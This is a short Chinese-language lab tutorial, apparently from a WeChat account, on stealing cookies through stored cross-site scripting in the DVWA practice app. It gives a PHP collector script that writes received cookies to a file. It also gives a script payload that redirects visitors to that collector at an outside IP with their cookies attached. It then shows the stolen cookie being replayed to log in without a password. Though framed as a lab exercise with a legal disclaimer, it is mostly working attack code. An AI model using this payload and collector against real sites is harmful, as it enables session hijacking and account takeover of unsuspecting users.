存储型xss盗取cookie实验
声明:仅供交流使用,严禁违法犯罪,否则后果自负
1,准备接收cookie的环境:
ip为172.24.10.105
代码为:保存为getCookie.php
<?php$cookie=$_GET['cookie'];$log=fopen("cookie.txt","w");fwrite($log,$cookie."\n");fclose($log);echo"***成功";?>
2,在实验环境插入js代码:
<script>document.location='http://172.24.10.105/getCookie.php?cookie='+document.cookie;</script>
通过审查元素把限制取消,然后插入js代码
然后重新访问这个页面发现进行了跳转
并在接收cookie的平台看到了cookie
换一个浏览器设置cookie
直接访问:
http://127.0.0.1/DVWA/
无需密码登录成功
欢迎关注微信公众号